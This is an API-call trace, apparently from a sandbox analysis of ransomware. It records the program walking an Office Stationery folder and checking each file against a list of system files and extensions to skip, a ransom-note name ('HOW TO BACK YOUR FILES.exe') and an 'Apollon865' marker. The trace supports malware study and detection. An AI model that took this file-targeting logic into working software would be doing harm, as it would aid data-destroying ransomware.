	[0065.458] lstrcmpiW (lpString1="NOTEBOOK.HTM", lpString2="..") returned 1
	[0065.458] lstrcmpiW (lpString1="NOTEBOOK.HTM", lpString2="windows") returned -1
	[0065.458] lstrcmpiW (lpString1="NOTEBOOK.HTM", lpString2="bootmgr") returned 1
	[0065.458] lstrcmpiW (lpString1="NOTEBOOK.HTM", lpString2="temp") returned -1
	[0065.458] lstrcmpiW (lpString1="NOTEBOOK.HTM", lpString2="pagefile.sys") returned -1
	[0065.458] lstrcmpiW (lpString1="NOTEBOOK.HTM", lpString2="boot") returned 1
	[0065.462] lstrcmpiW (lpString1="NOTEBOOK.HTM", lpString2="ids.txt") returned 1
	[0065.462] lstrcmpiW (lpString1="NOTEBOOK.HTM", lpString2="ntuser.dat") returned -1
	[0065.462] lstrcmpiW (lpString1="NOTEBOOK.HTM", lpString2="perflogs") returned -1
	[0065.462] lstrcmpiW (lpString1="NOTEBOOK.HTM", lpString2="MSBuild") returned 1
	[0065.462] lstrlenW (lpString="NOTEBOOK.HTM") returned 12
	[0065.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM") returned 60
	[0065.462] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="NOTEBOOK.HTM" | out: lpString1="NOTEBOOK.HTM") returned="NOTEBOOK.HTM"
	[0065.462] lstrlenW (lpString="NOTEBOOK.HTM") returned 12
	[0065.462] lstrlenW (lpString="Apollon865") returned 10
	[0065.462] lstrcmpiW (lpString1="TEBOOK.HTM", lpString2="Apollon865") returned 1
	[0065.462] lstrlenW (lpString=".dll") returned 4
	[0065.462] lstrcmpiW (lpString1="NOTEBOOK.HTM", lpString2=".dll") returned 1
	[0065.462] lstrlenW (lpString=".lnk") returned 4
	[0065.462] lstrcmpiW (lpString1="NOTEBOOK.HTM", lpString2=".lnk") returned 1
	[0065.462] lstrlenW (lpString=".ini") returned 4
	[0065.463] lstrcmpiW (lpString1="NOTEBOOK.HTM", lpString2=".ini") returned 1
	[0065.463] lstrlenW (lpString=".sys") returned 4
	[0065.463] lstrcmpiW (lpString1="NOTEBOOK.HTM", lpString2=".sys") returned 1
	[0065.463] lstrlenW (lpString="NOTEBOOK.HTM") returned 12
	[0065.463] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad22300, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad22300, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NOTEBOOK.JPG", cAlternateFileName="")) returned 1
	[0065.463] lstrcmpiW (lpString1="NOTEBOOK.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.463] lstrcmpiW (lpString1="NOTEBOOK.JPG", lpString2="Apollon865.txt.exe") returned 1
	[0065.463] lstrcmpiW (lpString1="NOTEBOOK.JPG", lpString2=".") returned 1
	[0065.463] lstrcmpiW (lpString1="NOTEBOOK.JPG", lpString2="..") returned 1
	[0065.463] lstrcmpiW (lpString1="NOTEBOOK.JPG", lpString2="windows") returned -1
	[0065.463] lstrcmpiW (lpString1="NOTEBOOK.JPG", lpString2="bootmgr") returned 1
	[0065.463] lstrcmpiW (lpString1="NOTEBOOK.JPG", lpString2="temp") returned -1
	[0065.463] lstrcmpiW (lpString1="NOTEBOOK.JPG", lpString2="pagefile.sys") returned -1
	[0065.463] lstrcmpiW (lpString1="NOTEBOOK.JPG", lpString2="boot") returned 1
	[0065.463] lstrcmpiW (lpString1="NOTEBOOK.JPG", lpString2="ids.txt") returned 1
	[0065.463] lstrcmpiW (lpString1="NOTEBOOK.JPG", lpString2="ntuser.dat") returned -1
	[0065.463] lstrcmpiW (lpString1="NOTEBOOK.JPG", lpString2="perflogs") returned -1
	[0065.463] lstrcmpiW (lpString1="NOTEBOOK.JPG", lpString2="MSBuild") returned 1
	[0065.463] lstrlenW (lpString="NOTEBOOK.JPG") returned 12
	[0065.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM") returned 62
	[0065.463] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="NOTEBOOK.JPG" | out: lpString1="NOTEBOOK.JPG") returned="NOTEBOOK.JPG"
	[0065.463] lstrlenW (lpString="NOTEBOOK.JPG") returned 12
	[0065.463] lstrlenW (lpString="Apollon865") returned 10
	[0065.463] lstrcmpiW (lpString1="TEBOOK.JPG", lpString2="Apollon865") returned 1
	[0065.463] lstrlenW (lpString=".dll") returned 4
	[0065.463] lstrcmpiW (lpString1="NOTEBOOK.JPG", lpString2=".dll") returned 1
	[0065.463] lstrlenW (lpString=".lnk") returned 4
	[0065.463] lstrcmpiW (lpString1="NOTEBOOK.JPG", lpString2=".lnk") returned 1
	[0065.463] lstrlenW (lpString=".ini") returned 4
	[0065.463] lstrcmpiW (lpString1="NOTEBOOK.JPG", lpString2=".ini") returned 1
	[0065.463] lstrlenW (lpString=".sys") returned 4
	[0065.464] lstrcmpiW (lpString1="NOTEBOOK.JPG", lpString2=".sys") returned 1
	[0065.464] lstrlenW (lpString="NOTEBOOK.JPG") returned 12
	[0065.464] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad22300, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad22300, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x1202, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFISUPP.GIF", cAlternateFileName="")) returned 1
	[0065.464] lstrcmpiW (lpString1="OFFISUPP.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.464] lstrcmpiW (lpString1="OFFISUPP.GIF", lpString2="Apollon865.txt.exe") returned 1
	[0065.464] lstrcmpiW (lpString1="OFFISUPP.GIF", lpString2=".") returned 1
	[0065.464] lstrcmpiW (lpString1="OFFISUPP.GIF", lpString2="..") returned 1
	[0065.464] lstrcmpiW (lpString1="OFFISUPP.GIF", lpString2="windows") returned -1
	[0065.464] lstrcmpiW (lpString1="OFFISUPP.GIF", lpString2="bootmgr") returned 1
	[0065.464] lstrcmpiW (lpString1="OFFISUPP.GIF", lpString2="temp") returned -1
	[0065.464] lstrcmpiW (lpString1="OFFISUPP.GIF", lpString2="pagefile.sys") returned -1
	[0065.464] lstrcmpiW (lpString1="OFFISUPP.GIF", lpString2="boot") returned 1
	[0065.464] lstrcmpiW (lpString1="OFFISUPP.GIF", lpString2="ids.txt") returned 1
	[0065.464] lstrcmpiW (lpString1="OFFISUPP.GIF", lpString2="ntuser.dat") returned 1
	[0065.464] lstrcmpiW (lpString1="OFFISUPP.GIF", lpString2="perflogs") returned -1
	[0065.464] lstrcmpiW (lpString1="OFFISUPP.GIF", lpString2="MSBuild") returned 1
	[0065.464] lstrlenW (lpString="OFFISUPP.GIF") returned 12
	[0065.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG") returned 62
	[0065.464] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="OFFISUPP.GIF" | out: lpString1="OFFISUPP.GIF") returned="OFFISUPP.GIF"
	[0065.464] lstrlenW (lpString="OFFISUPP.GIF") returned 12
	[0065.464] lstrlenW (lpString="Apollon865") returned 10
	[0065.464] lstrcmpiW (lpString1="FISUPP.GIF", lpString2="Apollon865") returned 1
	[0065.464] lstrlenW (lpString=".dll") returned 4
	[0065.464] lstrcmpiW (lpString1="OFFISUPP.GIF", lpString2=".dll") returned 1
	[0065.464] lstrlenW (lpString=".lnk") returned 4
	[0065.464] lstrcmpiW (lpString1="OFFISUPP.GIF", lpString2=".lnk") returned 1
	[0065.464] lstrlenW (lpString=".ini") returned 4
	[0065.464] lstrcmpiW (lpString1="OFFISUPP.GIF", lpString2=".ini") returned 1
	[0065.464] lstrlenW (lpString=".sys") returned 4
	[0065.464] lstrcmpiW (lpString1="OFFISUPP.GIF", lpString2=".sys") returned 1
	[0065.464] lstrlenW (lpString="OFFISUPP.GIF") returned 12
	[0065.465] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa331b800, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa331b800, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFISUPP.HTM", cAlternateFileName="")) returned 1
	[0065.465] lstrcmpiW (lpString1="OFFISUPP.HTM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.465] lstrcmpiW (lpString1="OFFISUPP.HTM", lpString2="Apollon865.txt.exe") returned 1
	[0065.465] lstrcmpiW (lpString1="OFFISUPP.HTM", lpString2=".") returned 1
	[0065.465] lstrcmpiW (lpString1="OFFISUPP.HTM", lpString2="..") returned 1
	[0065.465] lstrcmpiW (lpString1="OFFISUPP.HTM", lpString2="windows") returned -1
	[0065.465] lstrcmpiW (lpString1="OFFISUPP.HTM", lpString2="bootmgr") returned 1
	[0065.465] lstrcmpiW (lpString1="OFFISUPP.HTM", lpString2="temp") returned -1
	[0065.465] lstrcmpiW (lpString1="OFFISUPP.HTM", lpString2="pagefile.sys") returned -1
	[0065.465] lstrcmpiW (lpString1="OFFISUPP.HTM", lpString2="boot") returned 1
	[0065.465] lstrcmpiW (lpString1="OFFISUPP.HTM", lpString2="ids.txt") returned 1
	[0065.465] lstrcmpiW (lpString1="OFFISUPP.HTM", lpString2="ntuser.dat") returned 1
	[0065.465] lstrcmpiW (lpString1="OFFISUPP.HTM", lpString2="perflogs") returned -1
	[0065.465] lstrcmpiW (lpString1="OFFISUPP.HTM", lpString2="MSBuild") returned 1
	[0065.465] lstrlenW (lpString="OFFISUPP.HTM") returned 12
	[0065.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF") returned 62
	[0065.465] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="OFFISUPP.HTM" | out: lpString1="OFFISUPP.HTM") returned="OFFISUPP.HTM"
	[0065.465] lstrlenW (lpString="OFFISUPP.HTM") returned 12
	[0065.465] lstrlenW (lpString="Apollon865") returned 10
	[0065.465] lstrcmpiW (lpString1="FISUPP.HTM", lpString2="Apollon865") returned 1
	[0065.465] lstrlenW (lpString=".dll") returned 4
	[0065.465] lstrcmpiW (lpString1="OFFISUPP.HTM", lpString2=".dll") returned 1
	[0065.465] lstrlenW (lpString=".lnk") returned 4
	[0065.465] lstrcmpiW (lpString1="OFFISUPP.HTM", lpString2=".lnk") returned 1
	[0065.465] lstrlenW (lpString=".ini") returned 4
	[0065.465] lstrcmpiW (lpString1="OFFISUPP.HTM", lpString2=".ini") returned 1
	[0065.465] lstrlenW (lpString=".sys") returned 4
	[0065.465] lstrcmpiW (lpString1="OFFISUPP.HTM", lpString2=".sys") returned 1
	[0065.465] lstrlenW (lpString="OFFISUPP.HTM") returned 12
	[0065.465] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfead0800, ftCreationTime.dwHighDateTime=0x1bdaedd, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfead0800, ftLastWriteTime.dwHighDateTime=0x1bdaedd, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PAWPRINT.GIF", cAlternateFileName="")) returned 1
	[0065.465] lstrcmpiW (lpString1="PAWPRINT.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.465] lstrcmpiW (lpString1="PAWPRINT.GIF", lpString2="Apollon865.txt.exe") returned 1
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.GIF", lpString2=".") returned 1
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.GIF", lpString2="..") returned 1
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.GIF", lpString2="windows") returned -1
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.GIF", lpString2="bootmgr") returned 1
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.GIF", lpString2="temp") returned -1
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.GIF", lpString2="pagefile.sys") returned 1
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.GIF", lpString2="boot") returned 1
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.GIF", lpString2="ids.txt") returned 1
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.GIF", lpString2="ntuser.dat") returned 1
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.GIF", lpString2="perflogs") returned -1
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.GIF", lpString2="MSBuild") returned 1
	[0065.466] lstrlenW (lpString="PAWPRINT.GIF") returned 12
	[0065.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM") returned 62
	[0065.466] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PAWPRINT.GIF" | out: lpString1="PAWPRINT.GIF") returned="PAWPRINT.GIF"
	[0065.466] lstrlenW (lpString="PAWPRINT.GIF") returned 12
	[0065.466] lstrlenW (lpString="Apollon865") returned 10
	[0065.466] lstrcmpiW (lpString1="WPRINT.GIF", lpString2="Apollon865") returned 1
	[0065.466] lstrlenW (lpString=".dll") returned 4
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.GIF", lpString2=".dll") returned 1
	[0065.466] lstrlenW (lpString=".lnk") returned 4
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.GIF", lpString2=".lnk") returned 1
	[0065.466] lstrlenW (lpString=".ini") returned 4
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.GIF", lpString2=".ini") returned 1
	[0065.466] lstrlenW (lpString=".sys") returned 4
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.GIF", lpString2=".sys") returned 1
	[0065.466] lstrlenW (lpString="PAWPRINT.GIF") returned 12
	[0065.466] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3a6900, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc3a6900, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PAWPRINT.HTM", cAlternateFileName="")) returned 1
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.HTM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.HTM", lpString2="Apollon865.txt.exe") returned 1
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.HTM", lpString2=".") returned 1
	[0065.466] lstrcmpiW (lpString1="PAWPRINT.HTM", lpString2="..") returned 1
	[0065.467] lstrcmpiW (lpString1="PAWPRINT.HTM", lpString2="windows") returned -1
	[0065.467] lstrcmpiW (lpString1="PAWPRINT.HTM", lpString2="bootmgr") returned 1
	[0065.467] lstrcmpiW (lpString1="PAWPRINT.HTM", lpString2="temp") returned -1
	[0065.467] lstrcmpiW (lpString1="PAWPRINT.HTM", lpString2="pagefile.sys") returned 1
	[0065.467] lstrcmpiW (lpString1="PAWPRINT.HTM", lpString2="boot") returned 1
	[0065.467] lstrcmpiW (lpString1="PAWPRINT.HTM", lpString2="ids.txt") returned 1
	[0065.467] lstrcmpiW (lpString1="PAWPRINT.HTM", lpString2="ntuser.dat") returned 1
	[0065.467] lstrcmpiW (lpString1="PAWPRINT.HTM", lpString2="perflogs") returned -1
	[0065.467] lstrcmpiW (lpString1="PAWPRINT.HTM", lpString2="MSBuild") returned 1
	[0065.467] lstrlenW (lpString="PAWPRINT.HTM") returned 12
	[0065.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF") returned 62
	[0065.467] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PAWPRINT.HTM" | out: lpString1="PAWPRINT.HTM") returned="PAWPRINT.HTM"
	[0065.467] lstrlenW (lpString="PAWPRINT.HTM") returned 12
	[0065.467] lstrlenW (lpString="Apollon865") returned 10
	[0065.467] lstrcmpiW (lpString1="WPRINT.HTM", lpString2="Apollon865") returned 1
	[0065.467] lstrlenW (lpString=".dll") returned 4
	[0065.467] lstrcmpiW (lpString1="PAWPRINT.HTM", lpString2=".dll") returned 1
	[0065.467] lstrlenW (lpString=".lnk") returned 4
	[0065.467] lstrcmpiW (lpString1="PAWPRINT.HTM", lpString2=".lnk") returned 1
	[0065.467] lstrlenW (lpString=".ini") returned 4
	[0065.467] lstrcmpiW (lpString1="PAWPRINT.HTM", lpString2=".ini") returned 1
	[0065.467] lstrlenW (lpString=".sys") returned 4
	[0065.467] lstrcmpiW (lpString1="PAWPRINT.HTM", lpString2=".sys") returned 1
	[0065.467] lstrlenW (lpString="PAWPRINT.HTM") returned 12
	[0065.467] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9575800, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9575800, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1e9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PINELUMB.HTM", cAlternateFileName="")) returned 1
	[0065.467] lstrcmpiW (lpString1="PINELUMB.HTM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.467] lstrcmpiW (lpString1="PINELUMB.HTM", lpString2="Apollon865.txt.exe") returned 1
	[0065.467] lstrcmpiW (lpString1="PINELUMB.HTM", lpString2=".") returned 1
	[0065.467] lstrcmpiW (lpString1="PINELUMB.HTM", lpString2="..") returned 1
	[0065.467] lstrcmpiW (lpString1="PINELUMB.HTM", lpString2="windows") returned -1
	[0065.467] lstrcmpiW (lpString1="PINELUMB.HTM", lpString2="bootmgr") returned 1
	[0065.467] lstrcmpiW (lpString1="PINELUMB.HTM", lpString2="temp") returned -1
	[0065.467] lstrcmpiW (lpString1="PINELUMB.HTM", lpString2="pagefile.sys") returned 1
	[0065.468] lstrcmpiW (lpString1="PINELUMB.HTM", lpString2="boot") returned 1
	[0065.468] lstrcmpiW (lpString1="PINELUMB.HTM", lpString2="ids.txt") returned 1
	[0065.468] lstrcmpiW (lpString1="PINELUMB.HTM", lpString2="ntuser.dat") returned 1
	[0065.468] lstrcmpiW (lpString1="PINELUMB.HTM", lpString2="perflogs") returned 1
	[0065.468] lstrcmpiW (lpString1="PINELUMB.HTM", lpString2="MSBuild") returned 1
	[0065.468] lstrlenW (lpString="PINELUMB.HTM") returned 12
	[0065.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM") returned 62
	[0065.468] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PINELUMB.HTM" | out: lpString1="PINELUMB.HTM") returned="PINELUMB.HTM"
	[0065.468] lstrlenW (lpString="PINELUMB.HTM") returned 12
	[0065.468] lstrlenW (lpString="Apollon865") returned 10
	[0065.468] lstrcmpiW (lpString1="NELUMB.HTM", lpString2="Apollon865") returned 1
	[0065.468] lstrlenW (lpString=".dll") returned 4
	[0065.468] lstrcmpiW (lpString1="PINELUMB.HTM", lpString2=".dll") returned 1
	[0065.468] lstrlenW (lpString=".lnk") returned 4
	[0065.468] lstrcmpiW (lpString1="PINELUMB.HTM", lpString2=".lnk") returned 1
	[0065.468] lstrlenW (lpString=".ini") returned 4
	[0065.468] lstrcmpiW (lpString1="PINELUMB.HTM", lpString2=".ini") returned 1
	[0065.468] lstrlenW (lpString=".sys") returned 4
	[0065.468] lstrcmpiW (lpString1="PINELUMB.HTM", lpString2=".sys") returned 1
	[0065.468] lstrlenW (lpString="PINELUMB.HTM") returned 12
	[0065.468] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x371bc00, ftCreationTime.dwHighDateTime=0x1bdaede, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x371bc00, ftLastWriteTime.dwHighDateTime=0x1bdaede, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PINELUMB.JPG", cAlternateFileName="")) returned 1
	[0065.468] lstrcmpiW (lpString1="PINELUMB.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.468] lstrcmpiW (lpString1="PINELUMB.JPG", lpString2="Apollon865.txt.exe") returned 1
	[0065.468] lstrcmpiW (lpString1="PINELUMB.JPG", lpString2=".") returned 1
	[0065.468] lstrcmpiW (lpString1="PINELUMB.JPG", lpString2="..") returned 1
	[0065.468] lstrcmpiW (lpString1="PINELUMB.JPG", lpString2="windows") returned -1
	[0065.468] lstrcmpiW (lpString1="PINELUMB.JPG", lpString2="bootmgr") returned 1
	[0065.468] lstrcmpiW (lpString1="PINELUMB.JPG", lpString2="temp") returned -1
	[0065.468] lstrcmpiW (lpString1="PINELUMB.JPG", lpString2="pagefile.sys") returned 1
	[0065.468] lstrcmpiW (lpString1="PINELUMB.JPG", lpString2="boot") returned 1
	[0065.468] lstrcmpiW (lpString1="PINELUMB.JPG", lpString2="ids.txt") returned 1
	[0065.468] lstrcmpiW (lpString1="PINELUMB.JPG", lpString2="ntuser.dat") returned 1
	[0065.468] lstrcmpiW (lpString1="PINELUMB.JPG", lpString2="perflogs") returned 1
	[0065.469] lstrcmpiW (lpString1="PINELUMB.JPG", lpString2="MSBuild") returned 1
	[0065.469] lstrlenW (lpString="PINELUMB.JPG") returned 12
	[0065.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM") returned 62
	[0065.469] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PINELUMB.JPG" | out: lpString1="PINELUMB.JPG") returned="PINELUMB.JPG"
	[0065.469] lstrlenW (lpString="PINELUMB.JPG") returned 12
	[0065.469] lstrlenW (lpString="Apollon865") returned 10
	[0065.469] lstrcmpiW (lpString1="NELUMB.JPG", lpString2="Apollon865") returned 1
	[0065.469] lstrlenW (lpString=".dll") returned 4
	[0065.469] lstrcmpiW (lpString1="PINELUMB.JPG", lpString2=".dll") returned 1
	[0065.469] lstrlenW (lpString=".lnk") returned 4
	[0065.469] lstrcmpiW (lpString1="PINELUMB.JPG", lpString2=".lnk") returned 1
	[0065.469] lstrlenW (lpString=".ini") returned 4
	[0065.469] lstrcmpiW (lpString1="PINELUMB.JPG", lpString2=".ini") returned 1
	[0065.469] lstrlenW (lpString=".sys") returned 4
	[0065.469] lstrcmpiW (lpString1="PINELUMB.JPG", lpString2=".sys") returned 1
	[0065.469] lstrlenW (lpString="PINELUMB.JPG") returned 12
	[0065.469] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2600900, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2600900, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1fd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SEAMARBL.HTM", cAlternateFileName="")) returned 1
	[0065.469] lstrcmpiW (lpString1="SEAMARBL.HTM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.469] lstrcmpiW (lpString1="SEAMARBL.HTM", lpString2="Apollon865.txt.exe") returned 1
	[0065.469] lstrcmpiW (lpString1="SEAMARBL.HTM", lpString2=".") returned 1
	[0065.469] lstrcmpiW (lpString1="SEAMARBL.HTM", lpString2="..") returned 1
	[0065.469] lstrcmpiW (lpString1="SEAMARBL.HTM", lpString2="windows") returned -1
	[0065.469] lstrcmpiW (lpString1="SEAMARBL.HTM", lpString2="bootmgr") returned 1
	[0065.469] lstrcmpiW (lpString1="SEAMARBL.HTM", lpString2="temp") returned -1
	[0065.469] lstrcmpiW (lpString1="SEAMARBL.HTM", lpString2="pagefile.sys") returned 1
	[0065.469] lstrcmpiW (lpString1="SEAMARBL.HTM", lpString2="boot") returned 1
	[0065.469] lstrcmpiW (lpString1="SEAMARBL.HTM", lpString2="ids.txt") returned 1
	[0065.469] lstrcmpiW (lpString1="SEAMARBL.HTM", lpString2="ntuser.dat") returned 1
	[0065.469] lstrcmpiW (lpString1="SEAMARBL.HTM", lpString2="perflogs") returned 1
	[0065.469] lstrcmpiW (lpString1="SEAMARBL.HTM", lpString2="MSBuild") returned 1
	[0065.469] lstrlenW (lpString="SEAMARBL.HTM") returned 12
	[0065.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG") returned 62
	[0065.470] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="SEAMARBL.HTM" | out: lpString1="SEAMARBL.HTM") returned="SEAMARBL.HTM"
	[0065.470] lstrlenW (lpString="SEAMARBL.HTM") returned 12
	[0065.470] lstrlenW (lpString="Apollon865") returned 10
	[0065.470] lstrcmpiW (lpString1="AMARBL.HTM", lpString2="Apollon865") returned -1
	[0065.470] lstrlenW (lpString=".dll") returned 4
	[0065.470] lstrcmpiW (lpString1="SEAMARBL.HTM", lpString2=".dll") returned 1
	[0065.470] lstrlenW (lpString=".lnk") returned 4
	[0065.470] lstrcmpiW (lpString1="SEAMARBL.HTM", lpString2=".lnk") returned 1
	[0065.470] lstrlenW (lpString=".ini") returned 4
	[0065.470] lstrcmpiW (lpString1="SEAMARBL.HTM", lpString2=".ini") returned 1
	[0065.470] lstrlenW (lpString=".sys") returned 4
	[0065.470] lstrcmpiW (lpString1="SEAMARBL.HTM", lpString2=".sys") returned 1
	[0065.470] lstrlenW (lpString="SEAMARBL.HTM") returned 12
	[0065.470] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x1889, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SEAMARBL.JPG", cAlternateFileName="")) returned 1
	[0065.470] lstrcmpiW (lpString1="SEAMARBL.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.470] lstrcmpiW (lpString1="SEAMARBL.JPG", lpString2="Apollon865.txt.exe") returned 1
	[0065.470] lstrcmpiW (lpString1="SEAMARBL.JPG", lpString2=".") returned 1
	[0065.470] lstrcmpiW (lpString1="SEAMARBL.JPG", lpString2="..") returned 1
	[0065.470] lstrcmpiW (lpString1="SEAMARBL.JPG", lpString2="windows") returned -1
	[0065.470] lstrcmpiW (lpString1="SEAMARBL.JPG", lpString2="bootmgr") returned 1
	[0065.470] lstrcmpiW (lpString1="SEAMARBL.JPG", lpString2="temp") returned -1
	[0065.470] lstrcmpiW (lpString1="SEAMARBL.JPG", lpString2="pagefile.sys") returned 1
	[0065.470] lstrcmpiW (lpString1="SEAMARBL.JPG", lpString2="boot") returned 1
	[0065.470] lstrcmpiW (lpString1="SEAMARBL.JPG", lpString2="ids.txt") returned 1
	[0065.470] lstrcmpiW (lpString1="SEAMARBL.JPG", lpString2="ntuser.dat") returned 1
	[0065.470] lstrcmpiW (lpString1="SEAMARBL.JPG", lpString2="perflogs") returned 1
	[0065.470] lstrcmpiW (lpString1="SEAMARBL.JPG", lpString2="MSBuild") returned 1
	[0065.470] lstrlenW (lpString="SEAMARBL.JPG") returned 12
	[0065.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM") returned 62
	[0065.470] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="SEAMARBL.JPG" | out: lpString1="SEAMARBL.JPG") returned="SEAMARBL.JPG"
